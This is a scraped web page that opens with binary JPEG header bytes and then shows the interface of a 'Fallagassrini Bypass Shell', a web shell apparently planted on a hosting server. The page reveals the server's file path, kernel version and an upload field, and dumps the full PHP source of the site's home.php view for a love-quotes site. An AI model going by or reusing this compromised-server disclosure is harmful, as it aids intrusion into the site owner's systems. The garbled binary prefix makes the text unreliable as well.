JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/jpewexports/public_html/application/views/admin/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : /home/jpewexports/public_html/application/views/admin/home.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$set_title=$this->db->query("select * from tbl_settings where id='1'");
$row_title=$set_title->row_array();
?>
<title><?php echo $row_title['title']; ?> </title>
<meta name="description" content="<?php echo $row_title['description']; ?>">
    
<meta name="keywords" content="<?php echo $row_title['keyword']; ?>"> 
<link rel="shortcut icon" href="<?php echo $_SESSION['base_siteurl']; ?>images/favicon.ico" />
  <link rel="stylesheet" type="text/css" href="<?php echo $_SESSION['base_siteurl']; ?>css/layout.css" />
<link rel="stylesheet" type="text/css" href="<?php echo $_SESSION['base_siteurl']; ?>css/style4.css" />
<link rel="stylesheet" type="text/css" href="<?php echo $_SESSION['base_siteurl']; ?>css/ma.banner3.css" media="all" />
<script language="javascript" type="text/javascript" src="<?php echo $_SESSION['base_siteurl']; ?>js/jquery.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $_SESSION['base_siteurl']; ?>js/jquery.easing.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $_SESSION['base_siteurl']; ?>js/script.js"></script>
<link rel="stylesheet" href="<?php echo $_SESSION['base_siteurl']; ?>css/default.css" type="text/css" media="screen" />
  <link rel="stylesheet" href="<?php echo $_SESSION['base_siteurl']; ?>css/nivo-slider.css" type="text/css" media="screen" />



<link href='http://fonts.googleapis.com/css?family=Fjalla+One' rel='stylesheet' type='text/css'>
  
<link href="<?php echo $_SESSION['base_siteurl']; ?>css/home.css" type="text/css" rel="stylesheet" media="all"  />
<link href="<?php echo $_SESSION['base_siteurl']; ?>css/tabcontent.css" rel="stylesheet" type="text/css" />
<link href="<?php echo $_SESSION['base_siteurl']; ?>css/small-tab.css" rel="stylesheet" type="text/css" />
<script src="<?php echo $_SESSION['base_siteurl']; ?>js/tabcontent.js" type="text/javascript"></script> 

<script type="text/javascript" language="javascript">
function form_check()
{
var name1=document.getElementById("name1").value;
var name2=document.getElementById("name2").value;

   if(name1=='' || name2=='')
   {
         alert("fill all the details");
		 return  false;
		 
   }
   
   document.cal_form.action="<?php echo base_url(); ?>love_calculator/result";
	document.cal_form.submit();

}

</script>

<div id="fb-root"></div>
<script>(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<style>
.red_color
{
	color:#f6285c!important;
	text-decoration:none!important;
}
</style>

<script type="text/javascript">
  WebFontConfig = {
    google: { families: [ 'Fjalla+One::latin' ] }
  };
  (function() {
    var wf = document.createElement('script');
    wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
      '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
    wf.type = 'text/javascript';
    wf.async = 'true';
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(wf, s);
  })(); </script>

</head>

<body>
<script type="text/javascript" src="<?php echo $_SESSION['base_siteurl'];?>js/jquery-1.8.1.min.js"></script>

    <script type="text/javascript" src="<?php echo $_SESSION['base_siteurl']; ?>js/jquery.nivo.slider.js"></script>
    <script type="text/javascript">
    $(window).load(function() {
        $('#slider').nivoSlider();
    });
    </script>

<?php
   include('navigation.php');
?>
	<!--end fixed-nav-->
    

    
    			<div id="main-bg">
    
    				<div id="scroll-wrapper">
                           <div id="h-head"> 
                        
                        <?php
						  include('header.php');
						?>
                         
                                     <div id="top-ad">
                                     <?php
									$set_hm=$this->db->query("select * from tbl_advertisements where position='top' and (tags='home' or main_cat='home')");
									$num_home3=$set_hm->num_rows();
									if($num_home3==1)
									{
									   
									       $row_hm=$set_hm->row_array();
										   echo $row_hm['advertisement']; 
									}
									elseif($num_home3>1)
									{
									     $set_hm1=$this->db->query("select * from tbl_add_ref where page='home'");
										 $row_hm1=$set_hm1->row_array();
										
										 if($row_hm1['top']=='admin')
										 {
										   
												$set_hm2=$this->db->query("select * from tbl_advertisements where position='top' and main_cat='home' and type='admin' order by rand() limit 1");
												
												$num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
											
									     }
										 
										else
										{
										       $set_hm2=$this->db->query("select * from tbl_advertisements where position='top' and main_cat='home' and type='google' order by rand() limit 1");
											 
											   $num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
										 }
							   }
									
									
									
									?> 
                                   
									 
                          </div>
                        
                       	<!--end h-head-->
                          <style>
						#slider img {height:293px !important}
						</style>
                                            <div id="wrapper" style="float:left;" >
         <div class="slider-wrapper theme-default">
            <div id="slider" class="nivoSlider" style="height:293px; width:799px;">
             <?php
			  $sql_banner = $this->db->query("select * from tbl_slides");
			  foreach($sql_banner->result_array() as $res_banner)
	          {
	         	  
			  $image=$res_banner['slides'];
			  ?>
  	
        		<img src="<?php echo $_SESSION['base_siteurl']; ?><?php echo $image;?>" width="799" height="293"   >           
                 
       
        <?php 
       }
	   ?>
               
            </div>
            
        </div>

    </div>
                                    <div id="ad-300px" style=" float:right;">
                                    
                                    	
                                     <?php
									$set_hm=$this->db->query("select * from tbl_advertisements where position='right' and (tags='home' or main_cat='home')");
									$num_home3=$set_hm->num_rows();
									if($num_home3==1)
									{
									   
									       $row_hm=$set_hm->row_array();
										   echo $row_hm['advertisement']; 
									}
									elseif($num_home3>1)
									{
									     $set_hm1=$this->db->query("select * from tbl_add_ref where page='home'");
										 $row_hm1=$set_hm1->row_array();
										 if($row_hm1['right']=='admin')
										 {
												$set_hm2=$this->db->query("select * from tbl_advertisements where position='right' and tags='home' and type='admin' order by rand() limit 1");
												$num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
											
									     }
										 
										else
										{
										       $set_hm2=$this->db->query("select * from tbl_advertisements where position='right' and main_cat='home' and type='google' order by rand() limit 1");
											   $num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
										 }
							   }
									
									
									
									?> 
                                   
									 
                         
                                    
                                    </div>
                            <div class="clear"></div>
                            
                            
                            <div id="h-main-content">
                            
                            	<div class="h-left-tab">
                                <div class="love-buttons">
                                     
                                       <p>love quotes</p>
                                    
                                    </div><!--end love-buttons-->
                                    
                                    <div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                                    <ul>
                                    <?php
									 $set_post=$this->db->query("select * from tbl_posts where type='quotes' order by rand() limit 4");
									 foreach($set_post->result_array() as $row_post)
									 {
									?>
                                    <li style="width:100%;"><?php echo $row_post['post']; ?></li>
                                   <?php
								     }
								   ?>
                                    </ul>
                                    
                                    <a href="<?php echo base_url(); ?>love-quotes.htm"><p class="read-more">View More&raquo; </p></a>
                                    
                                    </div><!--end quotes-block-txt -->
                                                                 
                                </div><!--end h-left-tab-->
                                
                                <div class="h-center-tab">
                                
                                	
                                     <?php
									$set_hm=$this->db->query("select * from tbl_advertisements where position='center' and (tags='home' or main_cat='home')");
									$num_home3=$set_hm->num_rows();
									if($num_home3==1)
									{
									   
									       $row_hm=$set_hm->row_array();
										   echo $row_hm['advertisement']; 
									}
									elseif($num_home3>1)
									{
									     $set_hm1=$this->db->query("select * from tbl_add_ref where page='home'");
										 $row_hm1=$set_hm1->row_array();
										 if($row_hm1['center']=='admin')
										 {
												$set_hm2=$this->db->query("select * from tbl_advertisements where position='center' and tags='home' and type='admin' order by rand() limit 1");
												$num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
											
									     }
										 
										else
										{
										       $set_hm2=$this->db->query("select * from tbl_advertisements where position='center' and main_cat='home' and type='google' order by rand() limit 1");
											   $num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
										 }
							   }
									
									
									
									?> 
                                   
									 
                                                          
                                </div><!--end h-center-tab"-->
                                
                                <div class="h-right-tab">
                                <div class="share-butt">
                                     <span>Share Your Love @</span>
                                     <div class="share-icon"><a href="http://pinterest.com/lovewale/" target="_blank"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/pinit-share.jpg" width="57" height="51"  /></a>
					   <a href="http://www.facebook.com/lovewaledotcom" target="_blank"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/facebook-share.jpg" width="55" height="51"  /></a>
					   <a href="http://www.youtube.com/user/lovewaledotcom" target="_blank"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/youtube.jpg" width="55" height="51"  /></a>
                                     </a><a href="https://twitter.com/lovewale_social" target="_blank"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/rss-share.jpg" width="55" height="51"  /><img src="<?php echo $_SESSION['base_siteurl']; ?>images/twitter-sharee.jpg" width="55" height="51" /></a><br />
                                     </a><a href="https://plus.google.com/108330131304780933951" rel="publisher" target="_blank"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/google-share.jpg" width="56" height="52" style="margin-bottom:10px"; /></a>
                                     
                                     </div>
                                     
                                     </div>
                                     
                                     </div>
                                
					
                    
                    <div id="ad-300px" style=" float:right; margin-top:11px;">
                                    
                                    	
                                     <?php
									$set_hm=$this->db->query("select * from tbl_advertisements where position='right2' and (tags='home' or main_cat='home')");
									$num_home3=$set_hm->num_rows();
									if($num_home3==1)
									{
									   
									       $row_hm=$set_hm->row_array();
										   echo $row_hm['advertisement']; 
									}
									elseif($num_home3>1)
									{
									     $set_hm1=$this->db->query("select * from tbl_add_ref where page='home'");
										 $row_hm1=$set_hm1->row_array();
										 if($row_hm1['right2']=='admin')
										 {
												$set_hm2=$this->db->query("select * from tbl_advertisements where position='right2' and tags='home' and type='admin' order by rand() limit 1");
												$num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
											
									     }
										 
										else
										{
										       $set_hm2=$this->db->query("select * from tbl_advertisements where position='right2' and main_cat='home' and type='google' order by rand() limit 1");
											   $num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
										 }
							   }
									
									
									
									?> 
                                   
									 
                         
                                    
                                    </div>
                                 <div class="clear"></div>
                                
                                <div class="h-right-tab top-mgr" >
                                <div class="facebook-script">
                                	<!--<img src="<?php //echo $_SESSION['base_siteurl']; ?>images/facebook-script.jpg" width="248" height="371" class="rgt mgrbott40"  />-->
                                    <div class="fb-like-box" data-href="http://www.facebook.com/lovewaledotcom" data-width="292" data-show-faces="true" data-stream="false" data-header="true" style="margin-left:10px;"></div>
                                </div>
					</div>
                               <!--end h-center-tab -->
                            
                            
                            	<div class="h-left-tab-wide h-left-tab-wide-mgr">
                                
                                	<div class="love-buttons">
                                     
                                       <p>love calculator</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <div class="calc-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                                    	<div class="calc-txt">
                                        
                                        <p>Calculate your love by entering your name and the people you have crush upon. 
                                                    It predicts your relationship with them using FLAMES - Friends, Lover, Affection, Marriage, Enemy, Sister. This Love/FLAMES calculator is just a fun game to delight the young and old lovers in the world. This is for fun, don't take anything serious. Enjoy the Game.
                                                There's a bit of Love for you
                                                A calculator that measures the
                                                compatability between people</p>
                                        
                                         <span><a href="<?php echo base_url(); ?>love-calculator.htm" class="red_color">View More&raquo; </a></span>
                                        </div><!--end calc-txt-->
                                    
                                    	<!--<img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-calc.jpg" width="503" height="353" class="rgt top-mgr"  />-->
                                        <div class="love-cal rgt top-mgr">
                                        <p>
                                       <img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-cal-txt.png" width="163" height="27" /></p>
                                       <form action="<?php echo base_url(); ?>love-calculator/result.htm" method="post" name="cal_form" onsubmit="return form_check();">
                                       <div class="ENameM">
                                       <table width="115" border="0" cellspacing="0" cellpadding="0">
                                          <tr>
                                            <td style="font:600 12px Arial, Helvetica, sans-serif; text-shadow: 0 2px 2px rgba(0, 0, 0, 0.8); color: #97F956;">Enter Your Name</td>
                                            <td>&nbsp;</td>
                                            <td><input name="name1" id="name1" type="text" class="inputM" /></td>
                                          </tr>
                                        </table>
								      </div><!--end ENameM-->
                                      
                                      <div class="ENameF">
                                       <table width="115" border="0" cellspacing="0" cellpadding="0">
                                          <tr>
                                            <td style="font:600 12px Arial, Helvetica, sans-serif; text-shadow: 0 2px 2px rgba(0, 0, 0, 0.8); color: #97F956;">Enter Your Name</td>
                                            <td>&nbsp;</td>
                                            <td><input name="name2" type="text" id="name2" class="inputF" /></td>
                                          </tr>
                                        </table>
								      </div><!--end ENameM-->
                                       <input type="image" name="calculate-button"  src="<?php echo $_SESSION['base_siteurl']; ?>images/love-calc-butt.png" class="calc-butt-sm" />
                                       </form>
                                    	
                                        </div><!--end love-cal-->
                                        
                                       </div><!--end calc-block-txt -->
                                                             
                                </div><!--end h-left-tab-wide-->
                                
                                <div class="h-left-tab">
                                <div class="love-buttons">
                                     
                                       <p>love sms</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    <!--<img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-sms-icon.jpg" width="116" height="88" alt="Love SMS"  title="Love SMS" class="top8mgr"/>
                                    <p class="love-sms-txt">Send Your Love SMS to Your Love Partner and get close to your mate</p>-->
                                   
                                    <ul>
                                    <?php
									 $set_sms=$this->db->query("select * from tbl_posts where type='sms' order by rand() limit 5");
									 foreach($set_sms->result_array() as $row_sms)
									  {
									?>
                                    <li><?php echo $row_sms['post']; ?></li>
                                    <?php
									 }
									?>
                                    </ul>
                                    <p>&nbsp;</p>
                                   <a href="<?php echo base_url(); ?>love-sms.htm"> <p class="read-more">View More&raquo; </p></a>
                                    
                                    </div><!--end quotes-block-txt -->
                                    <?php /*?><div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    <!--<img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-sms-icon.jpg" width="116" height="88" alt="Love SMS"  title="Love SMS" class="top8mgr"/>
                                    <p class="love-sms-txt">Send Your Love SMS to Your Love Partner and get close to your mate</p>-->
                                    
                                    <div class="container">
			
			<div id="ca-container2" class="ca-container">
				<div class="ca-wrapper" style="width:61%!important;">
                <?php
									 $set_sms=$this->db->query("select * from tbl_posts where type='sms' order by rand() limit 2");
									 foreach($set_sms->result_array() as $row_sms)
									  {
									?>
                                   
                                   
                
					<div class="ca-item ca-item-1" style="width:100%!important;">
						<div class="ca-item-main" style="padding:0!important">
                        
							<h4 style="margin-top:0px!important;">
                          
								
								<span style="text-align:justify!important; margin:0px!important;"><br/><?php echo substr($row_sms['post'],0,200)."..."; ?></span> 
							</h4>
                           <!-- <a href="#">more...</a>-->
								
						</div>
						
					</div>
					              
			     <?php
				    
				 }
				 ?>		
					
					
					
					
					
				</div>
			</div>
			
		</div>

			<p></p>
                                   <a href="<?php echo base_url(); ?>love-sms.htm"> <p class="read-more">View More&raquo; </p></a>
                                    
                                    </div><?php */?>
                                                             
                                </div><!--end h-left-tab-->
                                
                                <div class="h-center-tab">
                                <div class="love-buttons">
                                     
                                       <p>love tips</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                   <div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    <!--<p class="pic-txt"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-tips-icon.jpg" width="120" height="81" alt="Love Tips"  title="Love Tips" class="top8mgr"/>-->
                                    
						<ul>
								<?php
									 $set_tips=$this->db->query("select * from tbl_posts where type='tips' order by rand() limit 5");
									
									 $num_tip=$set_tips->num_rows();
									 foreach($set_tips->result_array() as $row_tips)
									 {
									  
									?>
							
                                    
                                    <!--How many times did you pound the dashboard of your Corvette bewailing this persistent question?
                                    How many times did you pound the dashboard of your Corvette bewailing this persistent question?</p><p>&nbsp;</p>
<p class="pic-txt">The avenue to Romance is littered with roadkill hearts and unrequited love. If you think you're unique in your loneliness, think again. There is enough dashboard pounding out there to start a global orchestra of dire distress. If you think you're unique in your loneliness, think again. There is enough dashboard pounding out there to start a global orchestra of dire distress.</p>-->
                             		<li><?php
							    echo $row_tips['post'];
								echo "<br/>";
								}
							 ?></li>
                                    
                                                        
                                    
                                    </div><!--end quotes-block-txt -->
				</p> <a href="<?php echo base_url(); ?>love-tips.htm"><p class="read-more">View More&raquo;</p> </a>

                                       <?php /*?><div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                                   <!--<img src="<?php echo $_SESSION['base_siteurl']; ?>images/love-tips-icon.jpg" width="120" height="81" alt="Love Tips"  title="Love Tips" class="top8mgr"/>-->
                                     <div class="container">
			
			<div id="ca-container1" class="ca-container">
				<div class="ca-wrapper" style="width:61%!important;">
                <?php
									 $set_tips=$this->db->query("select * from tbl_posts where type='tips' order by rand() limit 5");
									
									 $num_tip=$set_tips->num_rows();
									
							 if($num_tip>0)
							 {
								     foreach($set_tips->result_array() as $row_tips) 
								     {	
									 
									 ?>	
                                   
                                   
                
					<div class="ca-item ca-item-1" style="width:100%!important;">
						<div class="ca-item-main" style="padding:0!important">
                        
							<h4 style="margin-top:-10px!important;">
                          
								
									<span style="text-align:justify!important; margin:0px!important;"><br/><?php echo substr($row_tips['post'],0,200)."..."; ?></span> 
							</h4>
                           <!-- <a href="#">more...</a>-->
								
						</div>
						
					</div>
					              
			     <?php
				     }
				    
				 }
				 ?>		
					
					
					
					
					
				</div>
			</div>
			
		</div>          
                                                                       
                                    <a href="<?php echo base_url(); ?>love-tips.htm"><p class="read-more">View More&raquo;</p> </a>
                                    
                                    
                                    </div><?php */?>                      
                                </div><!--end h-center-tab-->
                                
                                
                                <div class="h-right-tab top-mgr">
                                <div class="love-buttons">
                                     
                                       <p>love poems</p>
                                    
                                    </div><!--end love-quotes-->
                                    <div class="quotes-block-txt">
                                    
                                   <p class="menu-bg-line"></p>
                                   <ul>
						 <!--<img src="<?php echo $_SESSION['base_siteurl']; ?>images/poem-writing.jpg" width="83" height="122" alt="Love Poems"  title="Love Poems" class="top8mgr"/>-->
                                    <?php
									 $set_poem=$this->db->query("select * from tbl_posts where type='poem' order by rand() limit 2");
									
									 foreach($set_poem->result_array() as $row_poem)
									 { 
									?>
                                    <li style="width: 94%;"> 
                                    
                                   
                                 <?php
									  echo substr($row_poem['post'],0,250)."<br/>";
									   $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_poem['sub_cat_id']."'");
											$num_in=$sq_inner->num_rows();
											
											$sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_poem['cat_id']."'");
											$row_s=$sub_s->row_array();
											if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_poem["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
									   
									?>
                                   
											<p style="width:100% !important;margin-right:10px;"><a style="float:right;" href="<?php echo base_url();?>love-poems/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="red_color">Read More</a></p> </li>
                                           
                                    
                                                
                                               
                                               <?php	
												   }
												   else
												   {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_poem["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=$sub_name."/".$title1;
														 //echo $_SESSION['sub'];
													   
													?>
                                                  
                                                <p style="width:100% !important;float:right;margin-right:10px;"><a style="float:right;" href="<?php echo base_url();?>love-poems/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="red_color">Read More</a></p> </li>
                                         
                                     
                                            
                                               
                                               <?php
											    }
									  }
									?>
                                                                       
                             </ul> <a href="<?php echo base_url(); ?>love-poems.htm" style="margin-right:10px;"><p class="read-more">View all Poems&raquo; </p> </a>
                                    
                                    </div>
                                    <?php /*?><div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                                  <img src="<?php echo $_SESSION['base_siteurl']; ?>images/poem-writing.jpg" width="83" height="122" alt="Love Poems"  title="Love Poems" class="top8mgr"/>
                                     <div class="container">
			
			<div id="ca-container3" class="ca-container">
				<div class="ca-wrapper" style="width:61%!important;">
                <?php
									 $set_poem=$this->db->query("select * from tbl_posts where type='poem' order by rand() limit 5");
									
									 $num_poem=$set_poem->num_rows();
									
							 if($num_poem>0)
							 {
								     foreach($set_poem->result_array() as $row_poem) 
								     {	
									 
									 ?>	
                                   
                                   
                
					<div class="ca-item ca-item-1" style="width:100%!important;">
						<div class="ca-item-main" style="padding:0!important">
                        
							<h4 style="margin-top:-10px!important;">
                          
								
								<span style="text-align:justify!important; margin:0px!important;"><br/><?php echo substr($row_poem['post'],0,200)."..."; ?></span> 
							</h4>
                           <!-- <a href="#">more...</a>-->
								
						</div>
						
					</div>
					              
			     <?php
				     }
				    
				 }
				 ?>		
					
					
					
					
					
				</div>
			</div>
			
		</div>          
                                                                       
                                    </p> <a href="<?php echo base_url(); ?>love-poems.htm"><p class="read-more">View More&raquo; </p> </a>
                                    
                                    
                                    </div><?php */?><!--end quotes-block-txt -->
                                                             
                                </div><!--end h-right-tab-->
                                
                               <div class="h-left-tab-wide" style="padding-bottom:32px;">
                                
                                	<div class="love-buttons">
                                     
                                       <p>love videos</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <p class="menu-bg-line"></p>
                                    
                                     	<div class="video-left">
                                        
                                        	<ul class="marginF">
                                             <?php
									 $set_video=$this->db->query("select * from tbl_posts where type='video' order by rand() limit 6");
									
									foreach($set_video->result_array() as $row_video)
									{
									   
									   
									   $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_video['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									 
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_video['cat_id']."'");
										$num_cat=$sub_s->row_array();
										if($num_cat>0)
										{
									    $row_s=$sub_s->row_array();
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
														$title_a=str_replace("-","_",$row_video["title"]);
													    $title=str_replace(" ", "-", $title_a);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name'])."/";
														
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
									   
									  
									?>
                                            	<li class="margin-100">
                                                	<div class="image-holder">
                                                   
                                                    
                                                    <?php
													if($row_video['video_type']=='')
													{
													?>
                                                     <a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail">
                                                    <img src="<?php echo $_SESSION['base_siteurl']; ?>video/pic/<?php echo $row_video['post'].".jpg"; ?>" width="133" height="88" class="img-bdr" /></a>
                                                     
                                                    </div><!--end image-holder-->
                                                    
                                                    <div class="img-txt">
                                                    <h1><a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><?php echo $row_video['title']; ?></a></h1>
                                               		<p style="width:100%; float:left;" ><?php echo substr($row_video['description'],0,180); ?></p>
                                                    </div>
                                                    
                                                    <?php
													}
													
													else
													{
													 $img='http://img.youtube.com/vi/'.$row_video['video_type'].'/3.jpg';
				 ?>
                 <a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"> <img src='http://img.youtube.com/vi/<?php echo $row_video['video_type']; ?>/3.jpg' width="133" height="88"></a>
                  
                                                  </div><!--end image-holder-->
                                                   
                                                    <div class="img-txt">
                                                    <h1><a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_video['title']; ?></a></h1>
                                               		<p style="width:100%; float:left;" ><?php echo substr($row_video['description'],0,180); ?></p>
                                                    </div> 
                                                     
                                                    <?php
													}
													?>
													
                                                    
                                                    <!--end img-txt-->
                                               	</li>
                                                 <?php
									  }
									  else
									  {
												       $inner_name='';
													   $title_a=str_replace("-","_",$row_video["title"]);
													   $title=str_replace(" ", "-", $title_a);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=1;
													   
													?>
                                                
                                             <li class="margin-100">
                                                	<div class="image-holder">
                                                   <?php
													if($row_video['video_type']=='')
													{
													?>
                                                     <a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail">
                                                    <img src="<?php echo $_SESSION['base_siteurl']; ?>video/pic/<?php echo $row_video['post'].".jpg"; ?>" width="133" height="88" class="img-bdr" /></a>
                                                    
                                                    </div><!--end image-holder-->
                                                    
                                                    <div class="img-txt">
                                                    <h1><a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><?php echo $row_video['title']; ?></a></h1>
                                               		 <p style="width:100%; float:left;" ><?php echo substr($row_video['description'],0,180); ?></p>
                                                    </div>
                                                   
                                                    <?php
													}
													else
													{
													 $img='http://img.youtube.com/vi/'.$row_video['video_type'].'/3.jpg';
				 ?>
                 <a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"> <img src='http://img.youtube.com/vi/<?php echo $row_video['video_type']; ?>/3.jpg' width="133" height="88"></a>
                   
                                                    </div><!--end image-holder-->
                                                 
                                                    <div class="img-txt">
                                                    <h1><a href="<?php echo base_url();?>love-videos/<?php echo $sub_name; ?><?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_video['title']; ?></a></h1>
                                               		<p style="width:100%; float:left;" ><?php echo substr($row_video['description'],0,180); ?></p>
                                                    </div>
                                                      
                                                    <?php
													}
													?>
                                                    <!--</a>-->
                                                    <!--end img-txt-->
                                               	</li>   
                                                
                                                
                                                
                                                
                                   <?php
								           }
								        }
								   
								   }
								   ?>             
                                              
                                                <a href="<?php echo base_url(); ?>love-videos.htm"><p class="read-more">View More&raquo; </p></a>
                                              </ul>
                                        
                                        </div><!--end video-left-->
                                    	                                
                                </div><!--end h-left-tab-wide-->
                                
                                <div class="h-right-tab">
                                <div class="love-buttons">
                                     
                                       <p>Love Shayari</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                                    <div class="pic-txt">

					<ul>
                                    <?php
									  $set_rel=$this->db->query("select * from tbl_posts where type='shayri' order by rand() limit 4");
									  $num_rel=$set_rel->num_rows();
									  if($num_rel>0)
									  {
									  foreach($set_rel->result_array() as $row_rel)
									  {
									      
										    $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_rel['sub_cat_id']."'");
											$num_in=$sq_inner->num_rows();
											
											$sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_rel['cat_id']."'");
											$row_s=$sub_s->row_array();
											if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
